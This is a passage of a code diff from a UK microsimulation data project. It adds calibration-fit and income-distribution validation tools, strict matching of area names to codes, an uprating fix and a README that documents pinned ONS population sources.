which are the ones saved. So on the last + # row, which describes the shipped weights, read saved_weights_loss. performance_step["training_loss"] = training_loss performance_step["saved_weights_loss"] = saved_weights_loss performance_step["validation_loss"] = validation_loss @@ -476,7 +573,9 @@ def log_performance( calculating_loss=False, ) - if epoch % 10 == 0: + # Every tenth epoch, and the last: the weights saved and + # returned are the final optimiser state (#456). + if epoch % 10 == 0 or epoch == epochs - 1: final_weights = (torch.exp(weights) * r).detach().numpy() log_performance( @@ -516,7 +615,7 @@ def log_performance( f"Loss: {loss_value.item()}, Epoch: {epoch}, {area_name}<10%: {local_close:.1%}, National<10%: {national_close:.1%}" ) - if epoch % 10 == 0: + if epoch % 10 == 0 or epoch == epochs - 1: final_weights = (torch.exp(weights) * r).detach().numpy() log_performance( diff --git a/policyengine_uk_data/utils/distribution_validation.py b/policyengine_uk_data/utils/distribution_validation.py new file mode 100644 index 000000000..67ff43b13 --- /dev/null +++ b/policyengine_uk_data/utils/distribution_validation.py @@ -0,0 +1,424 @@ +"""Single-age population and HBAI income distribution of a built dataset. + +Calibration fits grouped targets. These checks measure what the groups can +hide, on the built dataset: + +- **HBAI.** Person-weighted medians, means and Gini coefficients of + equivalised household income, before and after housing costs. Also the + share of individuals below 60% of the median, for everyone, HBAI + dependent children, working-age adults and those at State Pension age. + Each is compared with DWP's HBAI FYE 2025 estimate and 95% confidence + interval (``targets/reference_data/hbai_fye_2025.yaml``), at period 2024. +- **Single ages.** Weighted people by sex and single year of age, at the + calibration year, against the ONS 2024-based projection the calibration + targets come from. Ages from 80 up are one band, because the dataset's + oldest records are in the 80-84 band (#593). + +``compare`` sets a pull request's build against its base's. While the +same-code spread of these measures is unmeasured (#598), it reports moves +and flags a measure that leaves the HBAI confidence interval, but fails +only on a broken or mismatched report. + + python -m policyengine_uk_data.utils.distribution_validation measure DATASET.h5 --out report.json + python -m policyengine_uk_data.utils.distribution_validation compare BASE.json HEAD.json [--markdown out.md] + +Reports hold aggregates only: no household's values. +""" + +from __future__ import annotations + +import argparse +import hashlib +import json +import math +import sys +from pathlib import Path +from typing import Mapping, Optional + +import numpy as np +import yaml + +SCHEMA = "policyengine-uk-data-distribution/1" +HBAI_REFERENCE = ( + Path(__file__).parents[1] / "targets" / "reference_data" / "hbai_fye_2025.yaml" +) +# The FRS loader annualises weekly amounts with 365.25 / 7 (datasets/frs.py). +WEEKS_PER_YEAR = 365.25 / 7 +TOP_AGE_BAND = 80 +SEXES = {"male": ("MALE", "Males"), "female": ("FEMALE", "Females")} + + +def weighted_median(values, weights) -> float: + values, weights = np.asarray(values, float), np.asarray(weights, float) + order = np.argsort(values, kind="mergesort") + cumulative = np.cumsum(weights[order]) + return float(values[order][np.searchsorted(cumulative, cumulative[-1] / 2)]) + + +def weighted_gini(values, weights) -> float: + """Gini coefficient of a weighted distribution (0 to 1).""" + values, weights = np.asarray(values, float), np.asarray(weights, float) + order = np.argsort(values, kind="mergesort") + x, w = values[order], weights[order] + cw = np.cumsum(w) + cxw = np.cumsum(x * w) + total_w, total_xw = cw[-1], cxw[-1] + # Area under the Lorenz curve by the trapezium rule over weighted points. + lorenz = cxw / total_xw + previous = np.concatenate([[0.0], lorenz[:-1]]) + area = np.sum(w / total_w * (lorenz + previous) / 2) + return float(1 - 2 * area) + + +def hbai_incomes(bhc, ahc, equivalisation_bhc, equivalisation_ahc): + """Equivalised weekly incomes as HBAI defines them. + + HBAI resets negative incomes before housing costs to zero, and derives + the income after housing costs from the adjusted figure, so it can still + be negative (DWP, HBAI background information and methodology, FYE 2025, + "Negative incomes"). ``bhc`` and ``ahc`` are annual household incomes. + """ + bhc, ahc = np.asarray(bhc, float), np.asarray(ahc, float) + housing_costs = bhc - ahc + adjusted = np.maximum(bhc, 0.0) + return ( + adjusted / np.asarray(equivalisation_bhc, float) / WEEKS_PER_YEAR, + (adjusted - housing_costs) + / np.asarray(equivalisation_ahc, float) + / WEEKS_PER_YEAR, + ) + + +def hbai_measures(income_bhc, income_ahc, weights, child, pensioner) -> dict: + """The HBAI reference measures from person-level arrays. + + ``income_*`` are each person's household equivalised income in £ a week; + ``weights`` are person weights; ``child`` and ``pensioner`` are the HBAI + groups (working-age adults are everyone else). + """ + child, pensioner = np.asarray(child, bool), np.asarray(pensioner, bool) + groups = { + "all": np.ones_like(child), + "children": child, + "working_age": ~child & ~pensioner, + "pensioners": pensioner, + } + out = {} + for suffix, income in (("bhc", income_bhc), ("ahc", income_ahc)): + income = np.asarray(income, float) + median = weighted_median(income, weights) + out[f"median_{suffix}"] = median + out[f"mean_{suffix}"] = float(np.average(income, weights=weights)) + out[f"gini_{suffix}"] = 100 * weighted_gini(income, weights) + low = income < 0.6 * median + for group, mask in groups.items(): + w = weights * mask + total = np.sum(w) + # An empty group has no rate; compare fails on it. + out[f"relative_low_income_{suffix}_{group}"] = ( + float(100 * np.sum(w * low) / total) if total > 0 else None + ) + return out + + +def load_hbai_reference(path=None) -> dict: + with open(path or HBAI_REFERENCE) as f: + raw = yaml.safe_load(f) + if raw.get("schema_version") != 1: + raise ValueError("HBAI reference: schema_version must be 1") + for name, m in raw["measures"].items(): + if not m["low"] <= m["estimate"] <= m["high"]: + raise ValueError(f"HBAI reference {name}: estimate outside its interval") + return raw + + +def single_ages(age, is_male, weights, reference: Mapping) -> dict: + """People by sex and single age, ages from ``TOP_AGE_BAND`` up as one band. + + ``reference`` maps (sex, age) to the ONS count, with ages from + ``TOP_AGE_BAND`` up summed by the caller. + """ + age = np.minimum(np.floor(np.asarray(age, float)), TOP_AGE_BAND).astype(int) + out = {} + for sex, mask in (("male", is_male), ("female", ~np.asarray(is_male, bool))): + counts = np.bincount( + age[mask], weights=np.asarray(weights)[mask], minlength=TOP_AGE_BAND + 1 + ) + out[sex] = { + str(a): {"value": float(counts[a]), "reference": float(reference[(sex, a)])} + for a in range(TOP_AGE_BAND + 1) + } + return out + + +def ons_single_ages(year: int) -> dict: + """The ONS 2024-based projection by sex and age, with 80+ as one band.""" + import pandas as pd + + from policyengine_uk_data.targets.sources.ons_demographics import ( + _download_uk_projection, + _year_column, + ) + + df = _download_uk_projection() + column = _year_column(df, year) + if column is None: + raise ValueError(f"the ONS projection has no {year}") + ages = pd.to_numeric( + df["Age"].astype(str).str.extract(r"(\d+)")[0], errors="coerce" + ) + out = {} + for sex, (_, ons_sex) in SEXES.items(): + rows = df["Sex"] == ons_sex + for a in range(TOP_AGE_BAND): + out[(sex, a)] = float(df.loc[rows & (ages == a), column].sum()) + out[(sex, TOP_AGE_BAND)] = float( + df.loc[rows & (ages >= TOP_AGE_BAND), column].sum() + ) + return out + + +def summarise_single_ages(rows: Mapping) -> dict: + errors = { + (sex, int(a)): cell["value"] / cell["reference"] - 1 + for sex, by_age in rows.items() + for a, cell in by_age.items() + if cell["reference"] > 0 + } + under = [abs(e) for (_, a), e in errors.items() if a < TOP_AGE_BAND] + teens = [abs(e) for (_, a), e in errors.items() if 15 <= a <= 19] + return { + "mean_abs_error_0_79": float(np.mean(under)), + "max_abs_error_0_79": float(np.max(under)), + "max_abs_error_15_19": float(np.max(teens)), + "error_80_plus": { + sex: float( + rows[sex][str(TOP_AGE_BAND)]["value"] + / rows[sex][str(TOP_AGE_BAND)]["reference"] + - 1 + ) + for sex in rows + }, + } + + +def measure( + dataset_path, hbai_period: Optional[int] = None, age_year: int = 2025 +) -> dict: + """The distribution report of a built dataset (aggregates only).""" + from policyengine_uk import Microsimulation + + reference = load_hbai_reference() + period = hbai_period or int(reference["period"]) + sim = Microsimulation(dataset=str(dataset_path)) + + def person(variable, year): + return np.asarray(sim.calculate(variable, year, map_to="person").values, float) + + weights = person("household_weight", period) + income_bhc, income_ahc = hbai_incomes( + person("hbai_household_net_income", period), + person("hbai_household_net_income_ahc", period), + person("household_equivalisation_bhc", period), + person("household_equivalisation_ahc", period), + ) + measures = hbai_measures( + income_bhc, + income_ahc, + weights, + person("is_hbai_dependent_child", period) > 0, + person("is_SP_age", period) > 0, + ) + hbai = {} + for name, ref in reference["measures"].items(): + value = measures[name] + hbai[name] = { + "value": value, + "reference": ref["estimate"], + "low": ref["low"], + "high": ref["high"], + "inside": value is not None and bool(ref["low"] <= value <= ref["high"]), + } + gender = np.asarray(sim.calculate("gender", age_year).values).astype(str) + ages = single_ages( + person("age", age_year), + gender == "MALE", + person("household_weight", age_year), + ons_single_ages(age_year), + ) + data = Path(dataset_path).read_bytes() + return { + "schema": SCHEMA, + "dataset": Path(dataset_path).name, + "sha256": hashlib.sha256(data).hexdigest(), + "periods": {"hbai": period, "single_age": age_year}, + "hbai": hbai, + "single_age": ages, + "summary": { + "hbai_outside_interval": sorted( + n for n, m in hbai.items() if not m["inside"] + ), + "single_age": summarise_single_ages(ages), + }, + } + + +def _finite(x) -> bool: + return isinstance(x, (int, float)) and math.isfinite(x) + + +def compare(base: Mapping, head: Mapping) -> dict: + """A head build's distribution against its base's. + + Fails only on a broken or mismatched report; flags a measure that + leaves its HBAI interval, or moves away from its reference. + """ + failures, flags = [], [] + for side, report in (("base", base), ("head", head)): + if report.get("schema") != SCHEMA: + failures.append(f"The {side} distribution report is missing or malformed.") + if failures: + return { + "status": "fail", + "failures": failures, + "flags": [], + "rows": [], + "single_age": {}, + } + required = set(load_hbai_reference()["measures"]) + for side, report in (("base", base), ("head", head)): + missing = sorted(required - set(report.get("hbai") or {})) + if missing: + failures.append(f"The {side} report has no {', '.join(missing)}.") + summary = (report.get("summary") or {}).get("single_age") or {} + for key in ("mean_abs_error_0_79", "max_abs_error_0_79", "max_abs_error_15_19"): + if not _finite(summary.get(key)): + failures.append( + f"The {side} report's single-age {key} is missing or not finite." + ) + if failures: + return { + "status": "fail", + "failures": failures, + "flags": [], + "rows": [], + "single_age": {}, + } + if base["periods"] != head["periods"]: + failures.append( + f"The reports measured different periods ({base['periods']} and {head['periods']})." + ) + rows = [] + for name, h in head["hbai"].items(): + b = base["hbai"].get(name) + if b is None or not (_finite(h["value"]) and _finite(b["value"])): + failures.append(f"HBAI {name} is missing or not finite on one side.") + continue + worse = abs(h["value"] - h["reference"]) - abs(b["value"] - b["reference"]) + row = { + "measure": name, + "base": b["value"], + "head": h["value"], + "reference": h["reference"], + "low": h["low"], + "high": h["high"], + "base_inside": b["inside"], + "head_inside": h["inside"], + "further_from_reference": worse, + } + rows.append(row) + if b["inside"] and not h["inside"]: + flags.append( + f"HBAI {name} leaves its 95% interval: {b['value']:.2f} -> {h['value']:.2f} " + f"(HBAI {h['reference']:.2f}, {h['low']:.2f} to {h['high']:.2f})." + ) + sb, sh = base["summary"]["single_age"], head["summary"]["single_age"] + single = { + k: {"base": sb[k], "head": sh[k]} + for k in ("mean_abs_error_0_79", "max_abs_error_0_79", "max_abs_error_15_19") + } + return { + "status": "fail" if failures else "pass", + "failures": failures, + "flags": flags, + "rows": rows, + "single_age": single, + } + + +def render(result: Mapping) -> str: + lines = [ + f"## Income distribution and single ages against the base build: {result['status']}", + "", + ] + if result["failures"]: + lines += ["### Failures", ""] + [f"- {f}" for f in result["failures"]] + [""] + if result["rows"]: + lines += [ + "HBAI FYE 2025 (DWP), period 2024: equivalised income in £ a week, rates and Gini in per cent. " + "A value outside HBAI's 95% interval is marked (outside).", + "", + "| Measure | Base | Head | HBAI | 95% interval |", + "|---|---:|---:|---:|---|", + ] + for r in result["rows"]: + mark = lambda inside: "" if inside else " (outside)" # noqa: E731 + lines.append( + f"| {r['measure']} | {r['base']:.2f}{mark(r['base_inside'])} | {r['head']:.2f}{mark(r['head_inside'])} " + f"| {r['reference']:.2f} | {r['low']:.2f} to {r['high']:.2f} |" + ) + lines.append("") + if result["single_age"]: + lines += [ + "| Single ages against the ONS projection | Base | Head |", + "|---|---:|---:|", + ] + labels = { + "mean_abs_error_0_79": "Mean error, ages 0 to 79", + "max_abs_error_0_79": "Largest error, ages 0 to 79", + "max_abs_error_15_19": "Largest error, ages 15 to 19", + } + for key, label in labels.items(): + cell = result["single_age"][key] + lines.append( + f"| {label} | {100 * cell['base']:.1f}% | {100 * cell['head']:.1f}% |" + ) + lines.append("") + lines += ["### Flags", ""] + ([f"- {f}" for f in result["flags"]] or ["None."]) + lines += [ + "", + "These measures report and flag but do not fail yet: their same-code spread is unmeasured (#598).", + ] + return "\n".join(lines) + "\n" + + +def main(argv=None) -> int: + parser = argparse.ArgumentParser( + prog="python -m policyengine_uk_data.utils.distribution_validation" + ) + sub = parser.add_subparsers(dest="command", required=True) + m = sub.add_parser("measure", help="measure a built dataset") + m.add_argument("dataset") + m.add_argument("--out", required=True) + c = sub.add_parser("compare", help="compare a head build's report with its base's") + c.add_argument("base") + c.add_argument("head") + c.add_argument("--markdown") + args = parser.parse_args(argv) + if args.command == "measure": + report = measure(args.dataset) + Path(args.out).write_text(json.dumps(report, indent=1)) + print(json.dumps(report["summary"], indent=1)) + return 0 + base = json.loads(Path(args.base).read_text()) + head = json.loads(Path(args.head).read_text()) + result = compare(base, head) + text = render(result) + if args.markdown: + Path(args.markdown).write_text(text) + print(text) + return 1 if result["status"] == "fail" else 0 + + +if __name__ == "__main__": + sys.exit(main()) diff --git a/policyengine_uk_data/utils/fit_report.py b/policyengine_uk_data/utils/fit_report.py new file mode 100644 index 000000000..b4db12d7d --- /dev/null +++ b/policyengine_uk_data/utils/fit_report.py @@ -0,0 +1,293 @@ +"""Final calibration fit of a build, summarised safely, and the comparison of two. + +A build writes ``constituency_calibration_log.csv``: each target's estimate +and value every tenth epoch and at the last one, nationally (rows named +``UK``) and for each constituency. The log stays on the runner that built +it. ``summarise`` reduces its last epoch to what the comparison needs, and +only the summary is uploaded: for every national and local target, the band +its error |estimate / target - 1| falls in (``BANDS``: within 10%, 10-25%, +25-50%, 50-100%, over 100%), with zero targets left out. No estimate or +error leaves the runner. An +estimate built from a few households, or dominated by one, divided by a +published count, could give that household's value back, and the dataset +repeats households (output-area clones, SPI and CGT donors), so a count of +rows can't show how many respondents support a figure (Sol re-review of +#599). A band, at least 10% of a public target wide, is a bound, not a +value. + +``compare`` checks that a pull request does not worsen the fit of the build +it would replace, built the same way (same environment, epochs and clones), +using the policy in ``targets/fit_policy.yaml``: + +- **Fail** when the share of national, or of local, targets within 10% + falls by more than the allowance, over the targets both builds have. + Added and removed targets are reported, not counted. +- **Flag**, for review, each national target whose band is worse on the + head than on the base. Per-target moves do not fail while builds of the + same code move 2 to 12 national targets to a worse band (#598). + + python -m policyengine_uk_data.utils.fit_report summarise LOG.csv --out summary.json + python -m policyengine_uk_data.utils.fit_report compare BASE.json HEAD.json [--markdown out.md] +""" + +from __future__ import annotations + +import argparse +import json +import sys +from dataclasses import dataclass +from pathlib import Path +from typing import Optional + +import numpy as np +import pandas as pd +import yaml + +POLICY_PATH = Path(__file__).parents[1] / "targets" / "fit_policy.yaml" +SCHEMA = "policyengine-uk-data-fit-summary/3" +# Upper edges of the error bands; band 0 is within 10%. +BAND_EDGES = (0.10, 0.25, 0.50, 1.00) +BANDS = ("within 10%", "10-25%", "25-50%", "50-100%", "over 100%") +_COLUMNS = ["name", "index", "metric", "estimate", "target", "epoch"] + + +@dataclass(frozen=True) +class FitPolicy: + share_drop_allowance: float + + +def load_policy(path=None) -> FitPolicy: + with open(path or POLICY_PATH) as f: + raw = yaml.safe_load(f) + if raw.get("schema_version") != 1: + raise ValueError("fit policy: schema_version must be 1") + if raw.get("national_target", {}).get("flag") != "worse_band": + raise ValueError("fit policy: national_target.flag must be worse_band") + return FitPolicy( + share_drop_allowance=float(raw["share_within_10pct"]["allowed_drop"]), + ) + + +def band(error: float) -> int: + """The index in ``BANDS`` of an error: 0 when within 10% (inclusive). + + The error is rounded to 9 decimal places first, so an estimate exactly + 10% off (110 / 100 - 1 = 0.10000000000000009 in floating point) is + within 10%. + """ + return int(np.searchsorted(BAND_EDGES, round(float(error), 9), side="left")) + + +def summarise(log) -> dict: + """The last epoch of a calibration log, reduced to what may leave the runner.""" + if isinstance(log, pd.DataFrame): + df = log + else: + df = pd.read_csv(log, usecols=_COLUMNS) + if df.empty: + raise ValueError("the calibration log has no rows") + epochs = sorted(df.epoch.unique()) + last = int(epochs[-1]) + rows = df[df.epoch == last] + previous = int((df.epoch == epochs[-2]).sum()) if len(epochs) > 1 else None + national = rows[rows.name == "UK"] + if national.metric.duplicated().any(): + raise ValueError( + "the calibration log repeats a national target at its last epoch" + ) + national = national[national.target != 0].set_index("metric") + local = rows[(rows.name != "UK") & (rows.target != 0)] + if local.duplicated(["index", "metric"]).any(): + raise ValueError("the calibration log repeats a local target at its last epoch") + n_errors = (national.estimate / national.target - 1).abs() + l_errors = (local.estimate / local.target - 1).abs() + if not np.isfinite(n_errors).all() or not np.isfinite(l_errors).all(): + raise ValueError("the calibration log has non-finite estimates") + return { + "schema": SCHEMA, + "epoch": last, + "rows_last_epoch": int(len(rows)), + "rows_previous_epoch": previous, + "national": {metric: band(error) for metric, error in n_errors.items()}, + "local": { + f"{i}|{m}": band(e) + for i, m, e in zip(local["index"], local.metric, l_errors) + }, + } + + +def _share(flags: list) -> float: + return float(np.mean(flags)) if flags else float("nan") + + +def compare(base: dict, head: dict, policy: FitPolicy) -> dict: + """Failures, flags and the summary for a head build against its base.""" + failures, notes = [], [] + for side, s in (("base", base), ("head", head)): + if s.get("schema") != SCHEMA: + failures.append(f"The {side} fit summary is missing or malformed.") + continue + if not s["national"] or not s["local"]: + missing = "national" if not s["national"] else "local" + failures.append(f"The {side} build's last epoch has no {missing} targets.") + previous = s["rows_previous_epoch"] + if previous and s["rows_last_epoch"] < previous: + failures.append( + f"The {side} build's last logged epoch ({s['epoch']}) has fewer rows " + f"({s['rows_last_epoch']}) than the one before ({previous}): the log " + "is incomplete." + ) + if failures: + return { + "status": "fail", + "failures": failures, + "notes": [], + "flags": [], + "summary": {}, + "targets_compared": 0, + } + # A log's last epoch is a multiple of ten or, since #594, the final one; + # the same epoch count gives last epochs less than ten apart. + if abs(base["epoch"] - head["epoch"]) >= 10: + failures.append( + f"The builds' logs end at epochs {base['epoch']} and {head['epoch']}, so " + "they ran different epoch counts and their fits cannot be compared." + ) + elif base["epoch"] != head["epoch"]: + notes.append( + f"The base log ends at epoch {base['epoch']} and the head's at " + f"{head['epoch']}: one of them saves the final epoch (#594)." + ) + summary = {} + for name in ("national", "local"): + b, h = base[name], head[name] + common = sorted(set(b) & set(h)) + added, removed = sorted(set(h) - set(b)), sorted(set(b) - set(h)) + before = _share([b[k] == 0 for k in common]) + after = _share([h[k] == 0 for k in common]) + summary[name] = { + "base": before, + "head": after, + "change": after - before, + "compared": len(common), + } + if added: + notes.append( + f"{len(added)} {name} targets are new: {', '.join(added[:10])}" + ) + if removed: + notes.append( + f"{len(removed)} {name} targets are gone: {', '.join(removed[:10])}" + ) + if not common: + failures.append(f"The builds have no {name} targets in common.") + elif after < before - policy.share_drop_allowance: + failures.append( + f"The share of {name} targets within 10% falls from {before:.1%} to " + f"{after:.1%}, over the {len(common)} targets both builds have, by " + f"more than the {policy.share_drop_allowance:.1%} allowed." + ) + common = sorted(set(base["national"]) & set(head["national"])) + b_band, h_band = base["national"], head["national"] + flags = [ + {"target": t, "base": BANDS[b_band[t]], "head": BANDS[h_band[t]]} + for t in common + if h_band[t] > b_band[t] + ] + # Largest moves first. + flags.sort( + key=lambda f: (BANDS.index(f["base"]) - BANDS.index(f["head"]), f["target"]) + ) + better = sum(1 for t in common if h_band[t] < b_band[t]) + if better: + notes.append(f"{better} national targets are in a better band on the head.") + return { + "status": "fail" if failures else "pass", + "failures": failures, + "notes": notes, + "flags": flags, + "summary": summary, + "targets_compared": summary["national"]["compared"], + } + + +def render(result: dict, policy: FitPolicy) -> str: + lines = [f"## Calibration fit against the base build: {result['status']}", ""] + if result["summary"]: + lines += [ + "| Targets within 10% (those both builds have) | Base | Head | Change |", + "|---|---:|---:|---:|", + ] + for name, row in result["summary"].items(): + lines.append( + f"| {name.capitalize()} ({row['compared']:,}) | {row['base']:.1%} " + f"| {row['head']:.1%} | {100 * row['change']:+.1f}pp |" + ) + lines += ["", f"A drop of more than {policy.share_drop_allowance:.1%} fails."] + if result["failures"]: + lines += ["", "### Failures", ""] + [f"- {f}" for f in result["failures"]] + if result["notes"]: + lines += ["", "### Notes", ""] + [f"- {n}" for n in result["notes"]] + flags = result["flags"] + lines += [ + "", + f"### National targets in a worse error band on the head ({len(flags)})", + "", + ] + if flags: + lines += ["| Target | Base | Head |", "|---|---|---|"] + lines += [ + f"| `{f['target']}` | {f['base']} | {f['head']} |" for f in flags[:30] + ] + if len(flags) > 30: + lines.append(f"\n{len(flags) - 30} more in the job log.") + else: + lines.append("None.") + lines += [ + "", + "Flags are for review: builds of the same code move 2 to 12 national " + "targets to a worse band (#598). Bands are of |estimate / target - 1|; " + "no target's estimate or error is published.", + ] + return "\n".join(lines) + "\n" + + +def main(argv: Optional[list] = None) -> int: + parser = argparse.ArgumentParser( + prog="python -m policyengine_uk_data.utils.fit_report" + ) + sub = parser.add_subparsers(dest="command", required=True) + s = sub.add_parser("summarise", help="reduce a calibration log to a safe summary") + s.add_argument("log") + s.add_argument("--out", required=True) + c = sub.add_parser( + "compare", help="compare a head build's fit summary with its base's" + ) + c.add_argument("base") + c.add_argument("head") + c.add_argument("--markdown", help="write the comparison here as markdown") + c.add_argument("--policy", help="fit policy YAML (default targets/fit_policy.yaml)") + args = parser.parse_args(argv) + if args.command == "summarise": + summary = summarise(args.log) + Path(args.out).write_text(json.dumps(summary)) + print( + f"epoch {summary['epoch']}: {len(summary['national'])} national, " + f"{len(summary['local'])} local targets" + ) + return 0 + policy = load_policy(args.policy) + base = json.loads(Path(args.base).read_text()) + head = json.loads(Path(args.head).read_text()) + result = compare(base, head, policy) + text = render(result, policy) + if args.markdown: + Path(args.markdown).write_text(text) + print(text) + for flag in result["flags"]: + print(f"flag: {flag['target']} {flag['base']} -> {flag['head']}") + return 1 if result["status"] == "fail" else 0 + + +if __name__ == "__main__": + sys.exit(main()) diff --git a/policyengine_uk_data/utils/loss.py b/policyengine_uk_data/utils/loss.py index 27eb919fd..cae347e82 100644 --- a/policyengine_uk_data/utils/loss.py +++ b/policyengine_uk_data/utils/loss.py @@ -23,7 +23,11 @@ def get_loss_results(dataset, time_period, reform=None, household_weights=None): Returns: DataFrame with estimate vs target comparisons and error metrics. """ - matrix, targets = create_target_matrix(dataset, time_period, reform) + # A diagnostic of any dataset: report every target, fitted or not, + # rather than enforce the Enhanced FRS build's coverage gate. + matrix, targets = create_target_matrix( + dataset, time_period, reform, require_coverage=False + ) from policyengine_uk import Microsimulation if household_weights is None: diff --git a/policyengine_uk_data/utils/reweight.py b/policyengine_uk_data/utils/reweight.py index 0fc9da8bd..e94f9203b 100644 --- a/policyengine_uk_data/utils/reweight.py +++ b/policyengine_uk_data/utils/reweight.py @@ -38,7 +38,11 @@ def calibrate_household_weights( datasets such as the UK enhanced CPS. """ - matrix, targets = create_target_matrix(dataset, time_period, reform) + # Only the CPS-based transfer dataset is reweighted here; the coverage + # gate is for the Enhanced FRS build (datasets/create_datasets.py). + matrix, targets = create_target_matrix( + dataset, time_period, reform, require_coverage=False + ) household_count = len(dataset.household) if household_count == 0: raise ValueError("Dataset must contain at least one household") diff --git a/policyengine_uk_data/utils/uc_data.py b/policyengine_uk_data/utils/uc_data.py index ffe20896e..2c8d1116a 100644 --- a/policyengine_uk_data/utils/uc_data.py +++ b/policyengine_uk_data/utils/uc_data.py @@ -1,6 +1,73 @@ import numpy as np import pandas as pd from pathlib import Path +import re +import unicodedata + + +def _normalise_area_name(name: str) -> str: + """Ignore case, accents, punctuation and the spelling of ampersands.""" + name = unicodedata.normalize("NFKD", name.casefold().replace("&", "and")) + return "".join(character for character in name if character.isalnum()) + + +def _area_name_aliases(name: str) -> set[str]: + # Welsh and English names in Stat-Xplore labels may appear in either order. + # Match either label, without guessing a translation. + return {_normalise_area_name(part) for part in re.split(r"/", name)} - {""} + + +def _match_uc_area_codes( + data: pd.DataFrame, areas: pd.DataFrame, name_column: str +) -> pd.DataFrame: + """Attach canonical codes with a complete, one-to-one area match. + + Extracts with codes use those directly; the committed workbooks have + names only. Reject incomplete or ambiguous extracts before scaling so + the national rescale cannot hide a missing or duplicated area. + """ + if areas["code"].isna().any() or areas["code"].duplicated().any(): + raise ValueError("UC reference areas contain missing or duplicate codes") + + aliases = {} + for area in areas.itertuples(index=False): + for alias in _area_name_aliases(area.name): + if alias in aliases and aliases[alias] != area.code: + raise ValueError(f"Ambiguous UC reference area name: {area.name!r}") + aliases[alias] = area.code + + expected_codes = set(areas["code"]) + matched_codes = [] + for row in data.to_dict("records"): + code = row.get("code") + if pd.notna(code) and code != "": + if code not in expected_codes: + raise ValueError(f"Unmatched UC area code: {code!r}") + else: + name = row[name_column] + candidates = ( + { + aliases[alias] + for alias in _area_name_aliases(name) + if alias in aliases + } + if isinstance(name, str) + else set() + ) + if len(candidates) != 1: + raise ValueError(f"Unmatched or ambiguous UC area name: {name!r}") + code = candidates.pop() + matched_codes.append(code) + + result = data.copy() + result["code"] = matched_codes + duplicates = result.loc[result["code"].duplicated(keep=False), "code"].tolist() + if duplicates: + raise ValueError(f"Duplicate UC areas: {duplicates}") + missing = expected_codes - set(matched_codes) + if missing: + raise ValueError(f"Missing UC areas: {sorted(missing)}") + return result def parse_monthly_award_band(band: str) -> tuple[float, float]: @@ -166,6 +233,11 @@ def _parse_uc_pc_households(): # Combine GB and NI data result_df = pd.DataFrame(gb_data_rows + ni_data_rows) + result_df = _match_uc_area_codes( + result_df, + pd.read_csv(storage_path / "constituencies_2024.csv"), + "constituency_name", + ) # Scale constituency counts to match national total national_total = _parse_uc_national_payment_dist()["household_count"].sum() @@ -237,6 +309,11 @@ def _parse_uc_la_households(): # Combine GB and NI data result_df = pd.DataFrame(gb_data_rows + ni_data_rows) + result_df = _match_uc_area_codes( + result_df, + pd.read_csv(storage_path / "local_authorities_2021.csv"), + "la_name", + ) # Scale LA counts to match national total national_total = _parse_uc_national_payment_dist()["household_count"].sum() diff --git a/policyengine_uk_data/utils/uprating.py b/policyengine_uk_data/utils/uprating.py index 45826756e..bcf103944 100644 --- a/policyengine_uk_data/utils/uprating.py +++ b/policyengine_uk_data/utils/uprating.py @@ -312,10 +312,17 @@ def uprate_dataset(dataset: UKSingleYearDataset, target_year: int = END_YEAR): for table in dataset.tables: for variable in table.columns: - if variable in uprating_factors.index: + # Carried priors are household mass, so they must grow with + # household weights when moving to the calibration year. + uprating_variable = ( + "household_weight" + if variable == "household_calibration_prior" + else variable + ) + if uprating_variable in uprating_factors.index: factor = ( - uprating_factors.loc[variable, str(target_year)] - / uprating_factors.loc[variable, str(start_year)] + uprating_factors.loc[uprating_variable, str(target_year)] + / uprating_factors.loc[uprating_variable, str(start_year)] ) table[variable] *= factor diff --git a/tools/ons_age_targets/README.md b/tools/ons_age_targets/README.md new file mode 100644 index 000000000..7d223513f --- /dev/null +++ b/tools/ons_age_targets/README.md @@ -0,0 +1,56 @@ +# ONS age target sources + +`policyengine_uk_data/storage/regional_age_80_plus.csv` contains public population +projection aggregates in persons. It contains no FRS data. Reproduce it from the +repository root with the locked environment: + +```sh +uv run python tools/ons_age_targets/build.py +``` + +Downloads are cached in `.job/`; SHA-256 checks pin the source files. The generator +uses pandas, requests and openpyxl, which are already locked dependencies. + +The English regions use the [ONS 2022-based single-year subnational +projection](https://www.ons.gov.uk/peoplepopulationandcommunity/populationandmigration/populationprojections/datasets/localauthoritiesinenglandz1), +five-year migration variant, published 24 June 2025. The [ONS release bulletin](https://www.ons.gov.uk/peoplepopulationandcommunity/populationandmigration/populationprojections/bulletins/subnationalpopulationprojectionsforengland/2022based) +identifies this variant as the one aligned with the 2022-based principal national +projection. For each of +the 309 English local authorities, the extract sums ages 80 through 89 and the +terminal `90 and over` group. The committed `storage/oa_crosswalk.csv.gz` maps all +309 authorities unambiguously to the nine English regions. Summing those regions +therefore reproduces the sum of all 309 authorities, without omitting or counting +an authority twice. Published counts have three decimal places; the output retains +that precision. + +Scotland, Wales and Northern Ireland use the ONS **2022-based principal national +projections**, so all 12 regional 80+ targets have the same projection vintage and +cover 2022–2029. Each country total sums both sexes at ages 80–104 and the terminal +groups `105 - 109` and `110 and over`. The regional CSV includes the reference URL +for each row. This replaces the legacy regional top-band values; it is a source +refresh as well as a correction to the open-ended band definition. The lower +regional age bands remain in `demographics.csv`. + +Pinned downloads, relative to +`https://www.ons.gov.uk/file?uri=/peoplepopulationandcommunity/populationandmigration/populationprojections/datasets/`: + +| Source | Download suffix | SHA-256 | +| --- | --- | --- | +| English local authorities | `localauthoritiesinenglandz1/2022basedfiveyearmigrationvariantprojection/2022snpppopulationsyoa5yr.zip` | `171cd05fc753277388352c76abf8cc8b305ca537cd593a6e4467af7e8a8e4b5b` | +| Scotland | `z5zippedpopulationprojectionsdatafilesscotland/2022based/sc.zip` | `6e0dc9250a9890680754ab501be56973c722a57950e4535c364fbc4494372b3d` | +| Wales | `z4zippedpopulationprojectionsdatafileswales/2022based/wa.zip` | `32a7c2aacf9b3c945abeaa19a6d6d7aa62133f491bfca5a9700a393244a7b051` | +| Northern Ireland | `z6zippedpopulationprojectionsdatafilesnorthernireland/2022based/ni.zip` | `69b006c2741943d97d153cd024e4b21ea94b52ef766efcde6bd737a400d95489` | + +The national targets continue to use the existing **2024-based UK principal +projection**. The test fixture `policyengine_uk_data/tests/fixtures/ons_uk_population_2025.csv` preserves +its complete `Sex`, `Age` and `2025` population columns, including `105 - 109` and +`110 and over`. Its source ZIP is +`z1zippedpopulationprojectionsdatafilesuk/2024based/uk.zip`, SHA-256 +`dea79703b9caddd560f1958b5a8ca12aa817b2396d244e6a2c775b1af7f48ab1`. + +The old regional rows first appeared in commit `c98c0ccf` (9 September 2024); +`63dfba48` (10 